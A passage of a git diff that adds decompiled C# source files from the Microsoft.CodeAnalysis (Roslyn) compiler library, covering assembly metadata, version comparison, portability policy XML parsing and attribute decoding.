null) == null; + } + finally + { + if (builder != null && !flag) + { + for (int num = _initialModules.Length; num < builder.Count; num++) + { + builder[num].Dispose(); + } + } + } + } + if (_lazyData.IsDisposed) + { + throw new ObjectDisposedException("AssemblyMetadata"); + } + return _lazyData; + } + + public override void Dispose() + { + Data data = Interlocked.Exchange(ref _lazyData, Data.Disposed); + if (data == Data.Disposed || !IsImageOwner) + { + return; + } + ImmutableArray.Enumerator enumerator = _initialModules.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Dispose(); + } + if (data != null) + { + for (int i = _initialModules.Length; i < data.Modules.Length; i++) + { + data.Modules[i].Dispose(); + } + } + } + + internal bool IsValidAssembly() + { + ImmutableArray modules = GetModules(); + if (!modules[0].Module.IsManifestModule) + { + return false; + } + for (int i = 1; i < modules.Length; i++) + { + PEModule module = modules[i].Module; + if (!module.IsLinkedModule && module.MetadataReader.MetadataKind != MetadataKind.WindowsMetadata) + { + return false; + } + } + return true; + } + + public PortableExecutableReference GetReference(DocumentationProvider? documentation = null, ImmutableArray aliases = default(ImmutableArray), bool embedInteropTypes = false, string? filePath = null, string? display = null) + { + return new MetadataImageReference(this, new MetadataReferenceProperties(MetadataImageKind.Assembly, aliases, embedInteropTypes), documentation, filePath, display); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyPortabilityPolicy.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyPortabilityPolicy.cs new file mode 100644 index 0000000..acf16eb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyPortabilityPolicy.cs @@ -0,0 +1,79 @@ +using System; +using System.IO; +using System.Xml; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct AssemblyPortabilityPolicy(bool suppressSilverlightPlatformAssembliesPortability, bool suppressSilverlightLibraryAssembliesPortability) : IEquatable +{ + public readonly bool SuppressSilverlightPlatformAssembliesPortability = suppressSilverlightPlatformAssembliesPortability; + + public readonly bool SuppressSilverlightLibraryAssembliesPortability = suppressSilverlightLibraryAssembliesPortability; + + private static readonly XmlReaderSettings s_xmlSettings = new XmlReaderSettings + { + DtdProcessing = DtdProcessing.Prohibit + }; + + public override bool Equals(object obj) + { + if (obj is AssemblyPortabilityPolicy) + { + return Equals((AssemblyPortabilityPolicy)obj); + } + return false; + } + + public bool Equals(AssemblyPortabilityPolicy other) + { + if (SuppressSilverlightLibraryAssembliesPortability == other.SuppressSilverlightLibraryAssembliesPortability) + { + return SuppressSilverlightPlatformAssembliesPortability == other.SuppressSilverlightPlatformAssembliesPortability; + } + return false; + } + + public override int GetHashCode() + { + return (SuppressSilverlightLibraryAssembliesPortability ? 1 : 0) | (SuppressSilverlightPlatformAssembliesPortability ? 2 : 0); + } + + private static bool ReadToChild(XmlReader reader, int depth, string elementName, string elementNamespace = "") + { + if (reader.ReadToDescendant(elementName, elementNamespace)) + { + return reader.Depth == depth; + } + return false; + } + + internal static AssemblyPortabilityPolicy LoadFromXml(Stream input) + { + using XmlReader xmlReader = XmlReader.Create(input, s_xmlSettings); + if (!ReadToChild(xmlReader, 0, "configuration") || !ReadToChild(xmlReader, 1, "runtime") || !ReadToChild(xmlReader, 2, "assemblyBinding", "urn:schemas-microsoft-com:asm.v1") || !ReadToChild(xmlReader, 3, "supportPortability", "urn:schemas-microsoft-com:asm.v1")) + { + return default(AssemblyPortabilityPolicy); + } + bool suppressSilverlightLibraryAssembliesPortability = false; + bool suppressSilverlightPlatformAssembliesPortability = false; + do + { + string attribute = xmlReader.GetAttribute("PKT"); + string attribute2 = xmlReader.GetAttribute("enable"); + bool? flag = (string.Equals(attribute2, "false", StringComparison.OrdinalIgnoreCase) ? new bool?(false) : (string.Equals(attribute2, "true", StringComparison.OrdinalIgnoreCase) ? new bool?(true) : ((bool?)null))); + if (flag.HasValue) + { + if (string.Equals(attribute, "31bf3856ad364e35", StringComparison.OrdinalIgnoreCase)) + { + suppressSilverlightLibraryAssembliesPortability = !flag.Value; + } + else if (string.Equals(attribute, "7cec85d7bea7798e", StringComparison.OrdinalIgnoreCase)) + { + suppressSilverlightPlatformAssembliesPortability = !flag.Value; + } + } + } + while (xmlReader.ReadToNextSibling("supportPortability", "urn:schemas-microsoft-com:asm.v1")); + return new AssemblyPortabilityPolicy(suppressSilverlightPlatformAssembliesPortability, suppressSilverlightLibraryAssembliesPortability); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyVersion.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyVersion.cs new file mode 100644 index 0000000..e4597d9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AssemblyVersion.cs @@ -0,0 +1,101 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal readonly struct AssemblyVersion(ushort major, ushort minor, ushort build, ushort revision) : IEquatable, IComparable +{ + private readonly ushort _major = major; + + private readonly ushort _minor = minor; + + private readonly ushort _build = build; + + private readonly ushort _revision = revision; + + public int Major => _major; + + public int Minor => _minor; + + public int Build => _build; + + public int Revision => _revision; + + private ulong ToInteger() + { + return ((ulong)_major << 48) | ((ulong)_minor << 32) | ((ulong)_build << 16) | _revision; + } + + public int CompareTo(AssemblyVersion other) + { + ulong num = ToInteger(); + ulong num2 = other.ToInteger(); + if (num != num2) + { + if (num >= num2) + { + return 1; + } + return -1; + } + return 0; + } + + public bool Equals(AssemblyVersion other) + { + return ToInteger() == other.ToInteger(); + } + + public override bool Equals(object obj) + { + if (obj is AssemblyVersion) + { + return Equals((AssemblyVersion)obj); + } + return false; + } + + public override int GetHashCode() + { + return ((_major & 0xF) << 28) | ((_minor & 0xFF) << 20) | ((_build & 0xFF) << 12) | (_revision & 0xFFF); + } + + public static bool operator ==(AssemblyVersion left, AssemblyVersion right) + { + return left.Equals(right); + } + + public static bool operator !=(AssemblyVersion left, AssemblyVersion right) + { + return !left.Equals(right); + } + + public static bool operator <(AssemblyVersion left, AssemblyVersion right) + { + return left.ToInteger() < right.ToInteger(); + } + + public static bool operator <=(AssemblyVersion left, AssemblyVersion right) + { + return left.ToInteger() <= right.ToInteger(); + } + + public static bool operator >(AssemblyVersion left, AssemblyVersion right) + { + return left.ToInteger() > right.ToInteger(); + } + + public static bool operator >=(AssemblyVersion left, AssemblyVersion right) + { + return left.ToInteger() >= right.ToInteger(); + } + + public static explicit operator AssemblyVersion(Version version) + { + return new AssemblyVersion((ushort)version.Major, (ushort)version.Minor, (ushort)version.Build, (ushort)version.Revision); + } + + public static explicit operator Version(AssemblyVersion version) + { + return new Version(version.Major, version.Minor, version.Build, version.Revision); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeData.cs new file mode 100644 index 0000000..6b0bac4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeData.cs @@ -0,0 +1,396 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public abstract class AttributeData +{ + public INamedTypeSymbol? AttributeClass => CommonAttributeClass; + + protected abstract INamedTypeSymbol? CommonAttributeClass { get; } + + public IMethodSymbol? AttributeConstructor => CommonAttributeConstructor; + + protected abstract IMethodSymbol? CommonAttributeConstructor { get; } + + public SyntaxReference? ApplicationSyntaxReference => CommonApplicationSyntaxReference; + + protected abstract SyntaxReference? CommonApplicationSyntaxReference { get; } + + public ImmutableArray ConstructorArguments => CommonConstructorArguments; + + protected internal abstract ImmutableArray CommonConstructorArguments { get; } + + public ImmutableArray> NamedArguments => CommonNamedArguments; + + protected internal abstract ImmutableArray> CommonNamedArguments { get; } + + internal virtual bool IsConditionallyOmitted => false; + + [MemberNotNullWhen(true, new string[] { "AttributeClass", "AttributeConstructor" })] + internal virtual bool HasErrors + { + [MemberNotNullWhen(true, new string[] { "AttributeClass", "AttributeConstructor" })] + get + { + return false; + } + } + + internal static bool IsTargetEarlyAttribute(INamedTypeSymbolInternal attributeType, int attributeArgCount, AttributeDescription description) + { + ISymbolInternal containingSymbol = attributeType.ContainingSymbol; + if (containingSymbol == null || containingSymbol.Kind != SymbolKind.Namespace) + { + return false; + } + int num = description.Signatures.Length; + for (int i = 0; i < num; i++) + { + int parameterCount = description.GetParameterCount(i); + if (attributeArgCount == parameterCount) + { + StringComparison stringComparison = (description.MatchIgnoringCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal); + if (attributeType.Name.Equals(description.Name, stringComparison)) + { + return namespaceMatch(attributeType.ContainingNamespace, description.Namespace, stringComparison); + } + return false; + } + } + return false; + static bool namespaceMatch(INamespaceSymbolInternal container, string namespaceName, StringComparison options) + { + int num2 = namespaceName.Length; + bool flag = false; + do + { + if (container.IsGlobalNamespace) + { + return num2 == 0; + } + if (flag) + { + num2--; + if (num2 < 0 || namespaceName[num2] != '.') + { + return false; + } + } + else + { + flag = true; + } + string name = container.Name; + int length = name.Length; + num2 -= length; + if (num2 < 0 || string.Compare(namespaceName, num2, name, 0, length, options) != 0) + { + return false; + } + container = container.ContainingNamespace; + } + while (container != null); + return false; + } + } + + internal T? GetConstructorArgument(int i, SpecialType specialType) + { + return CommonConstructorArguments[i].DecodeValue(specialType); + } + + internal T? DecodeNamedArgument(string name, SpecialType specialType, T? defaultValue = default(T?)) + { + return DecodeNamedArgument(CommonNamedArguments, name, specialType, defaultValue); + } + + private static T? DecodeNamedArgument(ImmutableArray> namedArguments, string name, SpecialType specialType, T? defaultValue = default(T?)) + { + int num = IndexOfNamedArgument(namedArguments, name); + if (num < 0) + { + return defaultValue; + } + return namedArguments[num].Value.DecodeValue(specialType); + } + + private static int IndexOfNamedArgument(ImmutableArray> namedArguments, string name) + { + for (int num = namedArguments.Length - 1; num >= 0; num--) + { + if (string.Equals(namedArguments[num].Key, name, StringComparison.Ordinal)) + { + return num; + } + } + return -1; + } + + internal ConstantValue DecodeDecimalConstantValue() + { + ImmutableArray parameters = AttributeConstructor.Parameters; + ImmutableArray commonConstructorArguments = CommonConstructorArguments; + byte scale = commonConstructorArguments[0].DecodeValue(SpecialType.System_Byte); + bool isNegative = commonConstructorArguments[1].DecodeValue(SpecialType.System_Byte) != 0; + int hi; + int mid; + int lo; + if (parameters[2].Type.SpecialType == SpecialType.System_Int32) + { + hi = commonConstructorArguments[2].DecodeValue(SpecialType.System_Int32); + mid = commonConstructorArguments[3].DecodeValue(SpecialType.System_Int32); + lo = commonConstructorArguments[4].DecodeValue(SpecialType.System_Int32); + } + else + { + hi = (int)commonConstructorArguments[2].DecodeValue(SpecialType.System_UInt32); + mid = (int)commonConstructorArguments[3].DecodeValue(SpecialType.System_UInt32); + lo = (int)commonConstructorArguments[4].DecodeValue(SpecialType.System_UInt32); + } + return ConstantValue.Create(new decimal(lo, mid, hi, isNegative, scale)); + } + + internal ConstantValue DecodeDateTimeConstantValue() + { + long num = CommonConstructorArguments[0].DecodeValue(SpecialType.System_Int64); + DateTime minValue = DateTime.MinValue; + if (num >= minValue.Ticks) + { + minValue = DateTime.MaxValue; + if (num <= minValue.Ticks) + { + return ConstantValue.Create(new DateTime(num)); + } + } + return ConstantValue.Bad; + } + + internal ObsoleteAttributeData DecodeObsoleteAttribute(ObsoleteAttributeKind kind) + { + return kind switch + { + ObsoleteAttributeKind.Obsolete => DecodeObsoleteAttribute(), + ObsoleteAttributeKind.Deprecated => DecodeDeprecatedAttribute(), + ObsoleteAttributeKind.WindowsExperimental => DecodeWindowsExperimentalAttribute(), + ObsoleteAttributeKind.Experimental => DecodeExperimentalAttribute(), + _ => throw ExceptionUtilities.UnexpectedValue(kind), + }; + } + + internal ObsoleteAttributeData DecodeExperimentalAttribute() + { + TypedConstant value = CommonConstructorArguments[0]; + string text = value.ValueInternal as string; + if (string.IsNullOrWhiteSpace(text)) + { + text = null; + } + string text2 = null; + ImmutableArray>.Enumerator enumerator = CommonNamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePairUtil.Deconstruct(enumerator.Current, out var key, out value); + string text3 = key; + TypedConstant typedConstant = value; + if (text2 == null && text3 == "UrlFormat" && IsStringProperty("UrlFormat")) + { + text2 = typedConstant.ValueInternal as string; + } + if (text2 != null) + { + break; + } + } + return new ObsoleteAttributeData(ObsoleteAttributeKind.Experimental, null, isError: false, text, text2); + } + + private ObsoleteAttributeData DecodeObsoleteAttribute() + { + ImmutableArray commonConstructorArguments = CommonConstructorArguments; + string message = null; + bool isError = false; + TypedConstant value; + if (commonConstructorArguments.Length > 0) + { + value = commonConstructorArguments[0]; + message = (string)value.ValueInternal; + if (commonConstructorArguments.Length == 2) + { + value = commonConstructorArguments[1]; + isError = (bool)value.ValueInternal; + } + } + string text = null; + string text2 = null; + ImmutableArray>.Enumerator enumerator = CommonNamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePairUtil.Deconstruct(enumerator.Current, out var key, out value); + string text3 = key; + TypedConstant typedConstant = value; + if (text == null && text3 == "DiagnosticId" && IsStringProperty("DiagnosticId")) + { + text = typedConstant.ValueInternal as string; + } + else if (text2 == null && text3 == "UrlFormat" && IsStringProperty("UrlFormat")) + { + text2 = typedConstant.ValueInternal as string; + } + if (text != null && text2 != null) + { + break; + } + } + return new ObsoleteAttributeData(ObsoleteAttributeKind.Obsolete, message, isError, text, text2); + } + + private protected virtual bool IsStringProperty(string memberName) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Symbols/Attributes/CommonAttributeData.cs", 350); + } + + private ObsoleteAttributeData DecodeDeprecatedAttribute() + { + ImmutableArray commonConstructorArguments = CommonConstructorArguments; + string message = null; + bool isError = false; + if (commonConstructorArguments.Length == 3 || commonConstructorArguments.Length == 4) + { + message = (string)commonConstructorArguments[0].ValueInternal; + isError = (int)commonConstructorArguments[1].ValueInternal == 1; + } + return new ObsoleteAttributeData(ObsoleteAttributeKind.Deprecated, message, isError, null, null); + } + + private ObsoleteAttributeData DecodeWindowsExperimentalAttribute() + { + return ObsoleteAttributeData.WindowsExperimental; + } + + internal static void DecodeMethodImplAttribute(ref DecodeWellKnownAttributeArguments arguments, CommonMessageProvider messageProvider) where T : CommonMethodWellKnownAttributeData, new() where TAttributeSyntaxNode : SyntaxNode where TAttributeData : AttributeData + { + TAttributeData attribute = arguments.Attribute; + MethodImplOptions methodImplOptions; + if (attribute.CommonConstructorArguments.Length == 1) + { + methodImplOptions = ((attribute.AttributeConstructor.Parameters[0].Type.SpecialType != SpecialType.System_Int16) ? attribute.CommonConstructorArguments[0].DecodeValue(SpecialType.System_Enum) : ((MethodImplOptions)attribute.CommonConstructorArguments[0].DecodeValue(SpecialType.System_Int16))); + if ((methodImplOptions & (MethodImplOptions)3) != 0) + { + messageProvider.ReportInvalidAttributeArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, 0, attribute); + methodImplOptions &= (MethodImplOptions)(-4); + } + } + else + { + methodImplOptions = (MethodImplOptions)0; + } + MethodImplAttributes methodImplAttributes = MethodImplAttributes.IL; + int num = attribute.CommonConstructorArguments.Length; + ImmutableArray>.Enumerator enumerator = attribute.CommonNamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + if (current.Key == "MethodCodeType") + { + MethodImplAttributes methodImplAttributes2 = (MethodImplAttributes)current.Value.DecodeValue(SpecialType.System_Enum); + if (methodImplAttributes2 < MethodImplAttributes.IL || methodImplAttributes2 > MethodImplAttributes.CodeTypeMask) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num, attribute.AttributeClass, "MethodCodeType"); + } + else + { + methodImplAttributes = methodImplAttributes2; + } + } + num++; + } + arguments.GetOrCreateData().SetMethodImplementation(arguments.Index, (MethodImplAttributes)((int)methodImplOptions | (int)methodImplAttributes)); + } + + internal static void DecodeStructLayoutAttribute(ref DecodeWellKnownAttributeArguments arguments, CharSet defaultCharSet, int defaultAutoLayoutSize, CommonMessageProvider messageProvider) where TTypeWellKnownAttributeData : CommonTypeWellKnownAttributeData, new() where TAttributeSyntaxNode : SyntaxNode where TAttributeData : AttributeData + { + TAttributeData attribute = arguments.Attribute; + CharSet charSet = ((defaultCharSet != CharSet.None) ? defaultCharSet : CharSet.Ansi); + int? num = null; + int? num2 = null; + bool flag = false; + LayoutKind layoutKind = attribute.CommonConstructorArguments[0].DecodeValue(SpecialType.System_Enum); + if (layoutKind != LayoutKind.Sequential && (uint)(layoutKind - 2) > 1u) + { + messageProvider.ReportInvalidAttributeArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, 0, attribute); + flag = true; + } + int num3 = attribute.CommonConstructorArguments.Length; + ImmutableArray>.Enumerator enumerator = attribute.CommonNamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + switch (current.Key) + { + case "CharSet": + charSet = current.Value.DecodeValue(SpecialType.System_Enum); + switch (charSet) + { + case CharSet.None: + charSet = CharSet.Ansi; + break; + default: + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num3, attribute.AttributeClass, current.Key); + flag = true; + break; + case CharSet.Ansi: + case CharSet.Unicode: + case CharSet.Auto: + break; + } + break; + case "Pack": + num2 = current.Value.DecodeValue(SpecialType.System_Int32); + if (num2 > 128 || (num2 & (num2 - 1)) != 0) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num3, attribute.AttributeClass, current.Key); + flag = true; + } + break; + case "Size": + num = current.Value.DecodeValue(SpecialType.System_Int32); + if (num < 0) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num3, attribute.AttributeClass, current.Key); + flag = true; + } + break; + } + num3++; + } + if (!flag) + { + if (layoutKind == LayoutKind.Auto && !num.HasValue && num2.HasValue) + { + num = defaultAutoLayoutSize; + } + arguments.GetOrCreateData().SetStructLayout(new TypeLayout(layoutKind, num.GetValueOrDefault(), (byte)num2.GetValueOrDefault()), charSet); + } + } + + internal AttributeUsageInfo DecodeAttributeUsageAttribute() + { + return DecodeAttributeUsageAttribute(CommonConstructorArguments[0], CommonNamedArguments); + } + + internal static AttributeUsageInfo DecodeAttributeUsageAttribute(TypedConstant positionalArg, ImmutableArray> namedArgs) + { + AttributeTargets validTargets = (AttributeTargets)positionalArg.ValueInternal; + bool allowMultiple = DecodeNamedArgument(namedArgs, "AllowMultiple", SpecialType.System_Boolean, defaultValue: false); + bool inherited = DecodeNamedArgument(namedArgs, "Inherited", SpecialType.System_Boolean, defaultValue: true); + return new AttributeUsageInfo(validTargets, allowMultiple, inherited); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeDescription.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeDescription.cs new file mode 100644 index 0000000..790d994 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/AttributeDescription.cs @@ -0,0 +1,854 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis; + +internal struct AttributeDescription(string @namespace, string name, byte[][] signatures, bool matchIgnoringCase = false) +{ + internal enum TypeHandleTarget : byte + { + AttributeTargets, + AssemblyNameFlags, + MethodImplOptions, + CharSet, + LayoutKind, + UnmanagedType, + TypeLibTypeFlags, + ClassInterfaceType, + ComInterfaceType, + CompilationRelaxations, + DebuggingModes, + SecurityCriticalScope, + CallingConvention, + AssemblyHashAlgorithm, + TransactionOption, + SecurityAction, + SystemType, + DeprecationType, + Platform + } + + internal readonly struct TypeHandleTargetInfo(string @namespace, string name, SerializationTypeCode underlying) + { + public readonly string Namespace = @namespace; + + public readonly string Name = name; + + public readonly SerializationTypeCode Underlying = underlying; + } + + public readonly string Namespace = @namespace; + + public readonly string Name = name; + + public readonly byte[][] Signatures = signatures; + + public readonly bool MatchIgnoringCase = matchIgnoringCase; + + private const byte Void = 1; + + private const byte Boolean = 2; + + private const byte Byte = 5; + + private const byte Int16 = 6; + + private const byte Int32 = 8; + + private const byte UInt32 = 9; + + private const byte Int64 = 10; + + private const byte String = 14; + + private const byte Object = 28; + + private const byte SzArray = 29; + + private const byte TypeHandle = 64; + + internal static ImmutableArray TypeHandleTargets; + + private static readonly byte[] s_signature_HasThis_Void; + + private static readonly byte[] s_signature_HasThis_Void_Byte; + + private static readonly byte[] s_signature_HasThis_Void_Int16; + + private static readonly byte[] s_signature_HasThis_Void_Int32; + + private static readonly byte[] s_signature_HasThis_Void_UInt32; + + private static readonly byte[] s_signature_HasThis_Void_Int32_Int32; + + private static readonly byte[] s_signature_HasThis_Void_Int32_Int32_Int32_Int32; + + private static readonly byte[] s_signature_HasThis_Void_String; + + private static readonly byte[] s_signature_HasThis_Void_Object; + + private static readonly byte[] s_signature_HasThis_Void_String_String; + + private static readonly byte[] s_signature_HasThis_Void_String_Boolean; + + private static readonly byte[] s_signature_HasThis_Void_String_String_String; + + private static readonly byte[] s_signature_HasThis_Void_String_String_String_String; + + private static readonly byte[] s_signature_HasThis_Void_AttributeTargets; + + private static readonly byte[] s_signature_HasThis_Void_AssemblyNameFlags; + + private static readonly byte[] s_signature_HasThis_Void_MethodImplOptions; + + private static readonly byte[] s_signature_HasThis_Void_CharSet; + + private static readonly byte[] s_signature_HasThis_Void_LayoutKind; + + private static readonly byte[] s_signature_HasThis_Void_UnmanagedType; + + private static readonly byte[] s_signature_HasThis_Void_TypeLibTypeFlags; + + private static readonly byte[] s_signature_HasThis_Void_ClassInterfaceType; + + private static readonly byte[] s_signature_HasThis_Void_ComInterfaceType; + + private static readonly byte[] s_signature_HasThis_Void_CompilationRelaxations; + + private static readonly byte[] s_signature_HasThis_Void_DebuggingModes; + + private static readonly byte[] s_signature_HasThis_Void_SecurityCriticalScope; + + private static readonly byte[] s_signature_HasThis_Void_CallingConvention; + + private static readonly byte[] s_signature_HasThis_Void_AssemblyHashAlgorithm; + + private static readonly byte[] s_signature_HasThis_Void_Int64; + + private static readonly byte[] s_signature_HasThis_Void_UInt8_UInt8_UInt32_UInt32_UInt32; + + private static readonly byte[] s_signature_HasThis_Void_UIn8_UInt8_Int32_Int32_Int32; + + private static readonly byte[] s_signature_HasThis_Void_Boolean; + + private static readonly byte[] s_signature_HasThis_Void_Boolean_Boolean; + + private static readonly byte[] s_signature_HasThis_Void_Boolean_TransactionOption; + + private static readonly byte[] s_signature_HasThis_Void_Boolean_TransactionOption_Int32; + + private static readonly byte[] s_signature_HasThis_Void_Boolean_TransactionOption_Int32_Boolean; + + private static readonly byte[] s_signature_HasThis_Void_SecurityAction; + + private static readonly byte[] s_signature_HasThis_Void_Type; + + private static readonly byte[] s_signature_HasThis_Void_Type_Type; + + private static readonly byte[] s_signature_HasThis_Void_Type_Type_Type; + + private static readonly byte[] s_signature_HasThis_Void_Type_Type_Type_Type; + + private static readonly byte[] s_signature_HasThis_Void_Type_Int32; + + private static readonly byte[] s_signature_HasThis_Void_Type_String; + + private static readonly byte[] s_signature_HasThis_Void_String_Int32_Int32; + + private static readonly byte[] s_signature_HasThis_Void_SzArray_Boolean; + + private static readonly byte[] s_signature_HasThis_Void_SzArray_Byte; + + private static readonly byte[] s_signature_HasThis_Void_SzArray_String; + + private static readonly byte[] s_signature_HasThis_Void_Boolean_SzArray_String; + + private static readonly byte[] s_signature_HasThis_Void_Boolean_String; + + private static readonly byte[] s_signature_HasThis_Void_String_DeprecationType_UInt32; + + private static readonly byte[] s_signature_HasThis_Void_String_DeprecationType_UInt32_Platform; + + private static readonly byte[] s_signature_HasThis_Void_String_DeprecationType_UInt32_Type; + + private static readonly byte[] s_signature_HasThis_Void_String_DeprecationType_UInt32_String; + + private static readonly byte[][] s_signatures_HasThis_Void_Only; + + private static readonly byte[][] s_signatures_HasThis_Void_String_Only; + + private static readonly byte[][] s_signatures_HasThis_Void_Type_Only; + + private static readonly byte[][] s_signatures_HasThis_Void_Boolean_Only; + + private static readonly byte[][] s_signatures_HasThis_Void_Int32_Only; + + private static readonly byte[][] s_signaturesOfTypeIdentifierAttribute; + + private static readonly byte[][] s_signaturesOfAttributeUsage; + + private static readonly byte[][] s_signaturesOfAssemblySignatureKeyAttribute; + + private static readonly byte[][] s_signaturesOfAssemblyFlagsAttribute; + + private static readonly byte[][] s_signaturesOfDefaultParameterValueAttribute; + + private static readonly byte[][] s_signaturesOfDateTimeConstantAttribute; + + private static readonly byte[][] s_signaturesOfDecimalConstantAttribute; + + private static readonly byte[][] s_signaturesOfSecurityPermissionAttribute; + + private static readonly byte[][] s_signaturesOfMethodImplAttribute; + + private static readonly byte[][] s_signaturesOfDefaultCharSetAttribute; + + private static readonly byte[][] s_signaturesOfMemberNotNullAttribute; + + private static readonly byte[][] s_signaturesOfMemberNotNullWhenAttribute; + + private static readonly byte[][] s_signaturesOfFixedBufferAttribute; + + private static readonly byte[][] s_signaturesOfInterceptsLocationAttribute; + + private static readonly byte[][] s_signaturesOfPrincipalPermissionAttribute; + + private static readonly byte[][] s_signaturesOfPermissionSetAttribute; + + private static readonly byte[][] s_signaturesOfStructLayoutAttribute; + + private static readonly byte[][] s_signaturesOfMarshalAsAttribute; + + private static readonly byte[][] s_signaturesOfTypeLibTypeAttribute; + + private static readonly byte[][] s_signaturesOfWebMethodAttribute; + + private static readonly byte[][] s_signaturesOfHostProtectionAttribute; + + private static readonly byte[][] s_signaturesOfVisualBasicComClassAttribute; + + private static readonly byte[][] s_signaturesOfClassInterfaceAttribute; + + private static readonly byte[][] s_signaturesOfInterfaceTypeAttribute; + + private static readonly byte[][] s_signaturesOfCompilationRelaxationsAttribute; + + private static readonly byte[][] s_signaturesOfDebuggableAttribute; + + private static readonly byte[][] s_signaturesOfComSourceInterfacesAttribute; + + private static readonly byte[][] s_signaturesOfTypeLibVersionAttribute; + + private static readonly byte[][] s_signaturesOfComCompatibleVersionAttribute; + + private static readonly byte[][] s_signaturesOfObsoleteAttribute; + + private static readonly byte[][] s_signaturesOfDynamicAttribute; + + private static readonly byte[][] s_signaturesOfTupleElementNamesAttribute; + + private static readonly byte[][] s_signaturesOfSecurityCriticalAttribute; + + private static readonly byte[][] s_signaturesOfMyGroupCollectionAttribute; + + private static readonly byte[][] s_signaturesOfComEventInterfaceAttribute; + + private static readonly byte[][] s_signaturesOfUnmanagedFunctionPointerAttribute; + + private static readonly byte[][] s_signaturesOfPrimaryInteropAssemblyAttribute; + + private static readonly byte[][] s_signaturesOfAssemblyAlgorithmIdAttribute; + + private static readonly byte[][] s_signaturesOfDeprecatedAttribute; + + private static readonly byte[][] s_signaturesOfNullableAttribute; + + private static readonly byte[][] s_signaturesOfNullableContextAttribute; + + private static readonly byte[][] s_signaturesOfNativeIntegerAttribute; + + private static readonly byte[][] s_signaturesOfInterpolatedStringArgumentAttribute; + + private static readonly byte[][] s_signaturesOfCollectionBuilderAttribute; + + internal static readonly AttributeDescription OptionalAttribute; + + internal static readonly AttributeDescription ComImportAttribute; + + internal static readonly AttributeDescription AttributeUsageAttribute; + + internal static readonly AttributeDescription ConditionalAttribute; + + internal static readonly AttributeDescription CaseInsensitiveExtensionAttribute; + + internal static readonly AttributeDescription CaseSensitiveExtensionAttribute; + + internal static readonly AttributeDescription InternalsVisibleToAttribute; + + internal static readonly AttributeDescription AssemblySignatureKeyAttribute; + + internal static readonly AttributeDescription AssemblyKeyFileAttribute; + + internal static readonly AttributeDescription AssemblyKeyNameAttribute; + + internal static readonly AttributeDescription ParamArrayAttribute; + + internal static readonly AttributeDescription DefaultMemberAttribute; + + internal static readonly AttributeDescription IndexerNameAttribute; + + internal static readonly AttributeDescription AssemblyDelaySignAttribute; + + internal static readonly AttributeDescription AssemblyVersionAttribute; + + internal static readonly AttributeDescription AssemblyFileVersionAttribute; + + internal static readonly AttributeDescription AssemblyTitleAttribute; + + internal static readonly AttributeDescription AssemblyDescriptionAttribute; + + internal static readonly AttributeDescription AssemblyCultureAttribute; + + internal static readonly AttributeDescription AssemblyCompanyAttribute; + + internal static readonly AttributeDescription AssemblyProductAttribute; + + internal static readonly AttributeDescription AssemblyInformationalVersionAttribute; + + internal static readonly AttributeDescription AssemblyCopyrightAttribute; + + internal static readonly AttributeDescription SatelliteContractVersionAttribute; + + internal static readonly AttributeDescription AssemblyTrademarkAttribute; + + internal static readonly AttributeDescription AssemblyFlagsAttribute; + + internal static readonly AttributeDescription DecimalConstantAttribute; + + internal static readonly AttributeDescription IUnknownConstantAttribute; + + internal static readonly AttributeDescription CallerFilePathAttribute; + + internal static readonly AttributeDescription CallerLineNumberAttribute; + + internal static readonly AttributeDescription CallerMemberNameAttribute; + + internal static readonly AttributeDescription CallerArgumentExpressionAttribute; + + internal static readonly AttributeDescription IDispatchConstantAttribute; + + internal static readonly AttributeDescription DefaultParameterValueAttribute; + + internal static readonly AttributeDescription UnverifiableCodeAttribute; + + internal static readonly AttributeDescription SecurityPermissionAttribute; + + internal static readonly AttributeDescription DllImportAttribute; + + internal static readonly AttributeDescription MethodImplAttribute; + + internal static readonly AttributeDescription PreserveSigAttribute; + + internal static readonly AttributeDescription DefaultCharSetAttribute; + + internal static readonly AttributeDescription SpecialNameAttribute; + + internal static readonly AttributeDescription SerializableAttribute; + + internal static readonly AttributeDescription 